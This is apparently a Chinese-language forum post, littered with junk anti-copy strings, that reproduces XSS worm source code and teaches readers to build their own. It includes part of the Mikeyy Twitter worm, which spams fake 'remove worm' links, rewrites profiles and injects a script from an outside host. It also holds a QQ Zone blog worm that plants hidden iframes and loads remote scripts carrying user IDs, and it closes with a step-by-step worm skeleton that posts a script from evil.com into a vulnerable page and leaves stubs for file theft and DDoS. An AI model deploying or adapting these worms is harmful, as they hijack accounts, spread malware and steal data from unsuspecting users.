- ], {+ B( ]4 s2 w& a 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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; z# t$ N0 H% S6 w9 r, s6 t) H 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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+ ?; Z" Z" ]' N- v# I' R 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; / e& ~% S9 V1 Y# Y+ r7 u6 Q
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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; e! H# J, V4 h' x% L! [4 e 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 8 R9 ]$ e& M( N% u% D' T6 X1 H
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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* z; w7 y1 ?( n6 Z, N 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; ) L6 {/ ?) K {2 X5 T
$ B0 F1 |2 A$ { 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; w- W; t' M+ R% X% L
r, B, ~) f9 r; X* z p$ j 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
+ B1 V2 P* s; T1 g& _2 {
# w6 w2 t4 B# ]8 z 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; - u; x5 R( h @; Z4 C2 r3 {+ f# d
4 \9 R8 r8 j; r* E! w 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; , }& P- x$ w& E, w7 N0 _: h
( I4 }3 |9 i: a; L/ b2 ^8 A 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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( D3 ~1 s' C: l 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; & b( }3 Y2 X$ V* O( }( K
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26. var updateEncode=urlencode(randomUpdate[genRand]); : O$ \' ]/ j/ y5 [
& p( m: I3 }3 K( {' C: }* @% R 27. n! g. S- _2 H' Z
. e1 t8 n/ p; m+ ?# P/ |( c; L 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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. V: g) W6 V- h( P m 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); P6 o9 ]8 H* @6 p+ k- Q% Y# N
M1 A: `) y% l' z+ E4 r3 n+ ` 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; s0 |4 k. d t* y: ^
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35. var XSS=urlencode(genXSS); , E3 Z( L' Y8 Z$ c3 I
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ; _# z- a1 l) A @$ F
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38.
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39. } ;
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+ p6 S/ N# D, U1 o8 u6 Z# w7 } 40. setTimeout(wait(),5250);
) \ B g `. W( g, [/ v复制代码QQ空间XSSfunction killErrors() {return true;}/ O# `' p8 A4 J
2 r2 l, {) T, Y8 i; R/ ^window.onerror=killErrors;
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3 }3 G6 f2 ~1 a6 [% b' s0 Svar shendu;shendu=4;) K- J4 B" L$ a8 ^3 f
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//---------------global---v------------------------------------------) v8 h$ L: A& {$ s/ y
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?; n, o) C+ O5 q2 \% D) s+ H, m
8 F. i3 e$ G6 R5 B `! Yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";9 l% k: _: K W! X
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var myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;( g& p$ M% J" \" r% B' \7 _! `" Z
4 V& _/ F$ f, O6 \. z2 E( H1 o var gurle=gurl.indexOf("com/");% X% [7 E2 p" i* T
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gurl=gurl.substring(0,gurle+3); / A* `; j! T" }' ]. \ D
) F/ e, v1 ~) U6 q7 g var visitorID=top.document.documentElement.outerHTML;$ X t5 k- M, M
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");, q. }6 I7 I6 l F4 I
0 b) G2 F! @8 L) H0 I4 [# N9 v visitorID=visitorID.substring(0,cookieS);; j1 J! z5 u n5 A# X& c1 M L
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get_my_blog(visitorID);
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DOshuamy();% U Q1 q7 |& S2 j* C. j
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$ ]% S: \3 c! H5 W1 I j//挂马8 T/ T6 y. Z; N! F6 B2 ?
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function DOshuamy(){
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2 k+ y( o# G0 T2 p6 L3 b( `0 `5 bvar ssr=document.getElementById("veryTitle");7 `! r: M$ t4 e, N. ^6 ?
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");* M: ]% t5 i, ~1 g! I' H: B
" O& }6 n# K% I$ ]. k}
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' V; y0 L, C) B//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?/ f; K! g0 r$ M5 w$ F' ^3 w! l
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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- N {; H' d! w3 }* Q% A xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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+ V+ F2 }% A/ v1 o+ L if(xhr){ //成功就执行下面的
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8 c i8 e) B, |: K) M xhr.open("GET",userurl,false); //以GET方式打开定义的URL0 `7 S$ Y9 @ W& n
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xhr.send();guest=xhr.responseText;- c% d1 S2 P; V% j0 \# C, F- m6 I
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get_my_blogurl(guest); //执行这个函数
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}
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}
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5 o+ @$ R0 w6 A5 [8 V5 D. A' a//这里似乎是判断没有登录的: ^. P# s; R9 ]% [" Y0 p
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function get_my_blogurl(guest){2 e1 `4 p3 m4 E7 s
9 x, x7 ^4 a# L' [& W _ var mybloglist=guest;1 Y; W& i# W( \1 u
) _* b/ G9 \& Z var myurls;var blogids;var blogide;
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3 J1 G$ b' |5 z/ [( `9 {; U for(i=0;i<shendu;i++){( R& F3 Z8 e, z- L, m' G" O- ~
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了9 `, U: @7 C1 F7 q
, h( Z# D$ M4 k$ j2 n1 Y; R if(myurls!=-1){ //找到了就执行下面的 x8 j! M: Y+ X
5 y/ u% R1 W6 ^" { mybloglist=mybloglist.substring(myurls+11);
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: G! V9 k* f; J5 V5 c$ ~3 C1 } myurls=mybloglist.indexOf(')');
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( @5 r# a# x2 F myblogid=mybloglist.substring(0,myurls);+ J" W, k3 T5 ^) y
: g- J3 W" Y' Q2 B& ?5 _% W% ` }else{break;}" c1 o0 l% B! b% _1 ]
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get_my_testself(); //执行这个函数" T6 x, B# c9 g9 `. v
+ d' q; w. I! O5 ?}
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& I, }+ u6 L6 b! e* T
//这里往哪跳就不知道了
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function get_my_testself(){/ U" X# ]9 Q1 J) v! H
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for(i=0;i<myblogid.length;i++){ //获得blogid的值
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3 W7 a! O5 l6 v2 r0 p0 H" X1 r4 H# t var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();: j5 c/ B/ `) U9 |1 b# y
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr2){ //如果成功
7 H& {) z- Z% o/ G$ \, N) }3 F4 D6 V" W3 ` G
xhr2.open("GET",url,false); //打开上面的那个url2 M7 \) h( p+ C% _! _9 D
9 g; U. |! `! y3 b0 E7 i xhr2.send();2 ^1 N2 `8 t' t( K7 U
7 y# C; L; R5 f) i% K; | k2 Q
guest2=xhr2.responseText;
+ ]5 r9 c/ r/ P0 f9 ?
' k8 i+ k" r& ]( }* r* L var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
k$ }: B( }1 H; N0 f; k- t; n* y2 r8 r6 {
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
. H& D# H# ~; W$ G
% S, @0 p3 a8 n- T% Z" Q if(mycheckmydoit!="-1"){ //返回-1则代表没找到
' ]; O/ q0 ^8 j' H5 |. u' S; F3 a* A6 p! Z% f
targetblogurlid=myblogid; ) [* I, {" s/ T$ }% u7 I. c: d/ ~
) \$ I) i# J& l+ t: p) C: A
add_jsdel(visitorID,targetblogurlid,gurl); //执行它. I* z, [ ]7 x$ J8 d0 B
W1 G. r5 `9 S# O% r( t( h1 ` break;9 u* U& j# m, ^# V
/ S/ B. o- [6 i; L% t
}
9 H7 j; B, g* G1 U& z4 [/ u3 ?$ k# |+ y6 R6 j2 a; r, q. T
if(mycheckit=="-1"){, b9 E+ h& E: v& d T: X! B7 O; K9 f) N
9 d; i1 i4 ?4 v4 w) O0 P
targetblogurlid=myblogid;
2 o! d, V+ E% d2 r3 F
t5 u4 ^3 b/ F' O4 V3 ~% t b4 _ add_js(visitorID,targetblogurlid,gurl); //执行它! n$ S7 A$ g% U( b. u& _+ ~, l
) y; t: s5 i7 z! q D9 `# l break;
) Y+ v, c1 y; S# P7 ?, h+ u
2 \' A V$ x- c4 ]: B) Y; H: W5 ] }
7 a+ a- }7 W4 ^
- I9 b% m9 V- j& l- v0 [ } + L! A9 F& u0 X5 o7 R# c8 t9 S3 e
) J- c" O, R: x1 [6 {' Y9 `3 z+ i
}
, D6 u0 L/ h* W, F! j
$ h( Q5 T1 |& U}
2 |$ ]! r( x- ~9 ^8 ~* g" p# \; E
+ j3 ?% U( u9 p6 }* i, L% y. x; P* k
8 \, j; d- T0 V- ] y' o7 L c8 x//-------------------------------------- 5 w: y; J0 ~$ o1 E
5 T& q8 a$ C& h* i2 U//根据浏览器创建一个XMLHttpRequest对象' O/ s n) L2 \. Q; \, z5 m
0 t; [6 f& y# ]3 C) L
function createXMLHttpRequest(){
* B3 w5 \$ r9 U; Y
) x9 ^. u# S* Z O, {; a var XMLhttpObject=null; & [: u4 Z, t: @) {# L9 J
: @9 r; @: e" @! t4 e if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
/ _3 Q: s! q4 ? y2 @3 U9 N8 \. Q$ w9 p. w% T" X$ A6 ^
else
* C$ B( K. [$ @% T5 B, B' b: i0 w5 t& r; A* s. D% d" m
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ! E' n( t$ X1 ^! f q* @
! h0 d2 \' M6 h3 a1 x8 g0 p
for(var i=0;i<MSXML.length;i++) 3 b- n6 C7 |% Z. p5 P
$ Q! i% y2 c0 g0 m. S7 p {
. A3 Y; f4 K3 F
: {( X* o" G o' f( { try
8 Y" D" n, Q8 D
9 N: H8 `* x% X {
( I1 ^( |, g! \) G* j4 L! a
1 i% I6 H! ?2 T+ L4 y XMLhttpObject=new ActiveXObject(MSXML); % w3 X1 h3 z* \
' z% Q3 X) T; M3 z9 X7 S
break; ) t! K' Q9 D d8 P! b) K8 b& Q" f1 ]
) b+ d x ~$ T4 H+ }) ? I" Z }
* m }3 r1 r! C7 P D) [& R# o1 E: S+ r, ?. g7 _
catch (ex) {
( L) q# N, R; B c
/ d! L' D& q5 A* Y% e/ ? }
+ a5 W" K) q% c' ~5 q
E0 W3 C8 A: d8 q' d, E6 D } . S. p# ]* T* {4 ?# A9 n
' i% A& x, d- ` n0 t! p }4 @: ?/ m1 q. f$ Z4 I% a# S# i
8 W* {. M: T4 V5 C# ]0 a _
return XMLhttpObject;
0 E" x9 T* _$ L5 L8 G
Z' B& c O: p2 \) l# t* b} + p2 x5 D2 o! v# f
+ p3 w1 c/ q- f% ?" a
. b$ j+ i1 M0 O$ J# y
( g1 i: v) P% t" |//这里就是感染部分了
; ]3 j8 \: t5 \6 | Y* U6 m& h
6 I9 U" w, U/ }/ V& s/ q2 Cfunction add_js(visitorID,targetblogurlid,gurl){
3 D. ?2 A: f7 n/ j$ m
, _- Z! q) B: h) i8 @1 qvar s2=document.createElement('script');
p4 D1 ^/ O$ u' Q' x) D0 V ^* j: q/ ~1 _
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();) K) t, ^2 ^, s% u7 B% [$ Z5 ~, C
1 E4 |( K n0 \* xs2.type='text/javascript';4 l$ j* I: r3 P
' P" R6 b( Z* H; N/ M% M @
document.getElementsByTagName('head').item(0).appendChild(s2);
. e' R- M! y: V
; t7 q% V. Q4 `% p}+ M, `( L5 I5 T2 a3 b
, x. a3 {# l) v3 d# u/ N
9 `0 E# z9 n' X0 S i! X& J# P$ a" Z- V
function add_jsdel(visitorID,targetblogurlid,gurl){
. _: \8 R" L# R L6 H9 P E2 N# p$ n2 B3 F
var s2=document.createElement('script'); H) C: l4 O5 d( P& D2 U4 O+ o+ }
4 ?7 f$ Y2 m6 @5 Y% u7 p
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
& y ?& b# A7 |( p, O9 \8 E3 f( L# G4 G1 y4 ^- q
s2.type='text/javascript';* ~" v, Q2 M8 v6 _3 `# z
0 i- o' [+ t g/ k5 `7 Z; u
document.getElementsByTagName('head').item(0).appendChild(s2);
6 ~" d7 r) R# F( a; B/ {0 q; I$ s1 w7 Z! I( i; p8 U! @
}
8 N) l# T9 O) l3 S9 y/ `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
$ n, L/ G! h. B+ |- @ f! L1 b1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)/ q* q+ @; [: d. K2 K4 D% r
+ U, g/ k1 |; I) S2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)+ t8 @ D2 @8 d; J+ L
+ N3 v5 l3 y B4 x2 L- G综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- d0 ~4 _/ J' M6 ~5 n0 C
; Q+ p& Z$ w9 p. T2 ?- y* u- I6 Z q D; `
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方./ u5 e. t. |/ a8 r
3 b2 o$ B! Z. q8 Y; K5 ?首先,自然是判断不同浏览器,创建不同的对象var request = false;0 N! G9 G, c# C K6 ?5 s
9 k& F& f: G" |+ a! F$ l9 f) aif(window.XMLHttpRequest) {
( F, `" }; H4 s) A) d$ K4 r5 {" z: F: n7 M3 K3 H% J/ F
request = new XMLHttpRequest();
5 }! w* k. U I4 e2 _# _# i+ M) H9 r. E/ M& l
if(request.overrideMimeType) {/ `+ z9 C; K$ p9 Z7 p" m3 T) S
& ~3 @# ?6 b+ N6 k9 w0 ?request.overrideMimeType('text/xml');
) f8 P7 ~* Y. k7 {$ Y8 b' h% W0 A- h2 s3 P& U
}
$ Z4 s" l6 B. I5 z" H5 o! }8 c+ O7 d
} else if(window.ActiveXObject) {. K5 J9 x! h, S+ g& {: w
* Q+ D- [! D6 S2 T' j dvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 t* u* q' ]% P! X S* c3 B
* ?6 T, X( o% S b. p
for(var i=0; i<versions.length; i++) {
3 F" ~1 M$ L9 i$ W( f7 ~0 i* Q8 B- W) ?( N
try {
% a* L; R4 i0 ^0 O2 f, K+ A; n! E
: i! c& c3 |& ~/ Grequest = new ActiveXObject(versions);& l; ?) y9 l. Z7 ~
6 J* b S( @, U} catch(e) {}
5 a C" Z7 Y' w% D. }3 T: i" r0 @
( r4 G0 X7 W7 p, O}' ^$ u" m& j5 C/ N3 T' E& e1 l2 x& a" K
" {4 L6 `, A, s: \4 F9 {' x" O
}
4 s0 M5 J. F6 w- r! e3 n h4 y
# u' g; C4 G$ @/ y! WxmlHttpReq=request;
9 n$ J* b3 l/ j0 p9 a. f6 `/ ~5 q复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
5 l3 m3 [! s; S+ q6 B: e5 ^
9 P; Q* T: ^- e" A! k var Browser_Name=navigator.appName;
! S9 r! I. K4 F- }3 [. {7 e
$ [- g3 ]/ q# h' G6 l3 D var Browser_Version=parseFloat(navigator.appVersion);, r9 I. n; x3 b/ h: Q+ V
3 ?5 M. E) {' q$ n1 T* @3 P7 _+ [ var Browser_Agent=navigator.userAgent;! w, r8 S6 n) M1 T
6 E# W1 w$ H* W, g4 ]
6 A0 T5 X/ F( I2 r6 F9 ^! Y2 h! c+ ]& L5 e9 {
var Actual_Version,Actual_Name; E5 F& z. F( ]6 ?) h6 I0 i" R" ?
2 T' X' i8 k @( w- p
3 U( ^* f' X- F3 e2 r& _# B
" F( y H3 N7 U$ r7 f9 @0 | var is_IE=(Browser_Name=="Microsoft Internet Explorer");
4 L8 Z7 V% U# w7 c- g! Q, d
8 v. L! j5 R3 I1 ]1 j+ C2 M7 t var is_NN=(Browser_Name=="Netscape");
( p7 I2 @" w2 F( O2 x: c- e' _- }$ N- N- `+ ?/ P! R% Y* P6 W$ u+ V
var is_Ch=(Browser_Name=="Chrome");
5 k' Y0 i5 W) P% C( e _5 ?5 S; A/ `5 X; c- k- F; D) T
. G1 B3 G, h2 s- _& J
( }0 e, j+ ~6 p8 x/ ^6 k | if(is_NN){
* Z$ _+ M; P$ O) t" E8 e) G$ b- n( d3 f+ j/ A) c' m% _% A
if(Browser_Version>=5.0){
" K' A& q7 j$ y; K+ I, C' r1 t) c& a2 l
8 E; _" o7 l' ^* q8 [ var Split_Sign=Browser_Agent.lastIndexOf("/");0 }; Q. Q# D, f- n4 ^* d7 s) q$ ^+ x5 ~
: Y' U- G3 ^1 I0 k
var Version=Browser_Agent.indexOf(" ",Split_Sign);! A2 A4 _% t; C1 _; B- ~9 h8 h; Z
\+ F) m8 M8 ` var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 c5 L! V# u& I9 |4 z1 `" m- P* y- b$ X" B/ X' i4 [, c, X$ u
1 E4 M0 g( V( o/ n( o
; |3 u1 y+ g/ r, _5 K( |+ b
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
L, }, E) x( p) t% K* ?& R5 u; ~. Z2 g8 u6 y' \. e! ]5 d
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
" E2 e J0 E- B" v' a; Z; f: O& U& T- o. s, \* g4 ^! j% P) B2 n O
} y+ ?2 _8 Q* n4 r
) N0 ^1 I' U" o else{
. O- u1 G; S* ]2 v) a6 q Z8 s1 q
6 f1 M5 Q: g* |1 n C Actual_Version=Browser_Version;
$ n( ?! r$ M* D! `" r$ H% I1 r% S, c. v: [
Actual_Name=Browser_Name;8 z* W/ D" D+ g/ c) \! o+ v
8 I2 n F2 `7 p( M3 }: u }% z# s* b& M& Z. K n- L
3 W1 ?, @" [7 M* E$ l) f
}
4 \# L2 a6 x% M( }
$ ~) @$ [6 ]4 v! ?% T else if(is_IE){
/ r# M- G$ p% \$ J5 m6 t5 F
# b/ O+ v7 K) D) p9 f* c var Version_Start=Browser_Agent.indexOf("MSIE");3 M' [% U5 }0 \ S4 `1 \
7 ]" G# k. z% u! Y$ K7 [. F$ C0 K var Version_End=Browser_Agent.indexOf(";",Version_Start);1 |5 D8 e& _* P& ~$ x
4 J) C1 H' L! E/ M
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
' m) k+ p( g: I5 K7 H. [3 T# Y( U! I0 f' X" T* }# M- D
Actual_Name=Browser_Name;
) T2 n+ U3 p% C: a( L9 m Q' \7 c/ c6 r$ V/ ^; L) b; T: I7 d
v$ c- q2 D' U! h9 H6 |) ^+ r
& V- \% n- T. A* |% q8 ]7 k
if(Browser_Agent.indexOf("Maxthon")!=-1){
7 ]1 t( l ^+ L% F% |4 `( f) x+ K9 o6 i. E$ C7 P" ]( t
Actual_Name+="(Maxthon)";
4 e9 `% s1 S4 s/ q
# j3 Y: K+ S% B- N1 m }5 S+ u- }" w' x5 `3 s4 `! ]" d
# O, A% r6 ^0 A1 C5 e3 ] else if(Browser_Agent.indexOf("Opera")!=-1){
7 _& i0 Z0 `( `$ e6 }- C# ]$ j; w1 B9 X" z# q
Actual_Name="Opera";
% y- k1 }/ G. y' J9 H2 M4 \1 |4 ]& H! s* {$ \
var tempstart=Browser_Agent.indexOf("Opera");
3 {, V) R- \. A w8 ^9 [& ^! D# N0 e E! v+ D( t( Z5 L
var tempend=Browser_Agent.length;
5 N3 v8 O' p- a; H1 a( i, j8 g) G; d1 V! F ]7 \
Actual_Version=Browser_Agent.substring(tempstart+6,tempend): @5 w& @$ l G! a5 g
2 A6 X* c- Q; f1 e! @8 y }
! ]0 I* ^1 c. j& C1 i6 @" V3 ]9 s8 I1 v1 W( Z( h
}
* q0 d$ j5 e( O( r, q9 y
6 {3 ]% @( s! t: p/ J1 N4 U else if(is_Ch){/ o! ?4 Q% u {, S" }) c3 x
- q1 w9 i, }: B7 w" J( A0 O9 K var Version_Start=Browser_Agent.indexOf("Chrome");
/ z. p! D$ X1 A S$ {* I g4 \; q- p* ^, X
var Version_End=Browser_Agent.indexOf(";",Version_Start);
) V6 k5 X* P& Z; N G# l' l3 j/ D# S) F
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)6 ^' X+ \ H0 X
( ?# M. w. p, ]4 n9 x1 u Actual_Name=Browser_Name;
& K8 q# z2 l# F( f# w& g- M5 x _3 u7 ~: f3 @6 z. F. @5 I
1 E: I) M7 @2 G6 v5 R& W
+ Y" I5 w; l: U1 n' A/ P
if(Browser_Agent.indexOf("Maxthon")!=-1){
: f- J1 j) i6 ?( {4 x, [3 P* y* x. q" o4 A* O: T$ {: |
Actual_Name+="(Maxthon)";
5 l9 e: \' a' C5 R/ F0 Q7 _3 D+ x# I: ]% O0 F) c ^' K
}
* e' r4 R) A8 j7 p* L' e
" `. a9 v N. s: h+ E6 G else if(Browser_Agent.indexOf("Opera")!=-1){9 {$ C) ~8 X; U+ P1 ^% G5 ]
: p; U/ R$ u3 F1 \' I3 P2 E+ N
Actual_Name="Opera";
/ _* U5 \ ^6 O8 e
6 h: M: C$ b. T8 G. B var tempstart=Browser_Agent.indexOf("Opera");
( [5 @5 A3 q. |7 @; _' t
4 [0 F' u& Q: n+ e! t, x. c# P var tempend=Browser_Agent.length;
7 p6 @) v5 y3 H: |) K, l9 O1 \% n0 y+ U
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)& \3 K) g1 @) U/ M
0 `9 G0 d1 Z* i3 U( L$ t
}
+ X3 Z# {- ^" r/ [) b
% z2 B, G" i; ]5 B" x# U3 D$ } }
- [- L+ A6 [1 n1 U
9 b" i' w9 S# R; L else{* Q9 B. Q' h( H' i, Q
' F* y- ?# _- B7 A) }; u4 @- x
Actual_Name="Unknown Navigator"" }7 h" ?# i' s5 g/ x3 } }
2 s$ K2 j* I- T$ L0 q! F
Actual_Version="Unknown Version"9 x; c8 b3 v2 x# K8 k# U
4 p4 e9 }4 j4 U6 _2 v
}8 Q# ^! ?1 i' v! I
# B2 d- t! t1 k% o4 Z' n U
! ]- Y$ k. x& a6 B; M5 ?' ~6 g4 u' w% g
navigator.Actual_Name=Actual_Name;6 J3 r4 l( i( d) z" R/ x
' {; |. X7 h4 z
navigator.Actual_Version=Actual_Version;
1 _. ?- z7 u- N1 b4 B+ T- f! w' Q k( @9 p% o4 ?
9 T5 S* b, \+ N2 B6 D; d! ]9 D* Z) r9 W- Z; B! U K
this.Name=Actual_Name;
6 l" ^! U6 S/ R- H$ j3 `5 U6 b& z( o; \
this.Version=Actual_Version;
. a8 N+ X! B2 L4 ?- E: S
1 V$ W4 W0 U9 C: R' b- A# ? }
- q8 u- X" {+ H2 N5 d; P9 |; v J2 Z- K* w( h9 j, g
browserinfo();! e: m9 {# R/ n2 {
% \/ V2 \: r4 m
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
U+ P! c( A+ @1 ~) Y' j
. \! e) W; S4 A7 ]& M0 T if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}- K7 H) ^5 `5 K; M9 g5 z ]
% I& Q4 L# i; Z" b+ \3 v3 Y. n if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! y; w( t. t5 l7 \! A/ J# c# `, v
$ ^4 ^/ W0 {# \2 w- V if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}& ~: D9 ^0 D9 \3 o( f, [3 F. E$ |
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
8 @+ J' |3 W1 Y' Q. d* I复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
8 X; \$ ^/ B& M, n& w) `+ |复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.- z* U- z$ ~' D
% z( J2 i0 d) k6 \$ `. MxmlHttpReq.send(null);, I8 g2 w) Z' u. O) k) X6 W
4 T* u% K: M/ Y& o% I4 O4 _/ ?var resource = xmlHttpReq.responseText;! J) ^0 X( Q- q% v2 x
# y( W1 L+ T( {+ ]! x
var id=0;var result;
% ^+ O4 @$ q5 i' l& O9 j+ h3 G& k# s. V8 T0 J9 X
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.) E) H$ j X& @# E
$ }; `& H' Y( B
while ((result = patt.exec(resource)) != null) {
& N+ j7 O% N( Z" C# I0 Y
, F# {- z# W2 \6 b1 ?) F/ T" ~' jid++;4 V1 l8 i5 S- S) r8 Y
8 {1 O0 V# R$ q7 a& s
}) ]. N( t" E" T6 n/ K
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
' @7 I+ Y& A& ]+ H; W/ o4 Y' ^* f$ p, _
no=resource.search(/my name is/);. ?! X8 k! P% y2 x- Y
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.+ @ c1 T6 P3 s- {# p1 k5 \, d% t
' _) J% I4 G9 Y5 ?/ j6 S4 ^( a. bvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.4 N& y- U2 {) o/ d i! a2 q( j
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 g( X% K& g0 z$ z [+ i/ K
2 i" }3 G+ I$ bxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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F" |' v3 C& s+ N* e3 ]4 FxmlHttpReq.send(post);. Y U0 l" l" j$ |. ~# V
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. n8 z+ E( a& k/ w7 J复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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8 ?) f4 c# X( nvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方1 h# V, [# k% P U H9 G
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.' Q# u+ }" O7 o1 P( s% q" M. w/ s
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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R( A7 u! E1 r& S* }& VxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); ) l7 R* m5 K O. B, g: P1 Z' |
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");# Z9 m! I1 V( h" A1 b+ f
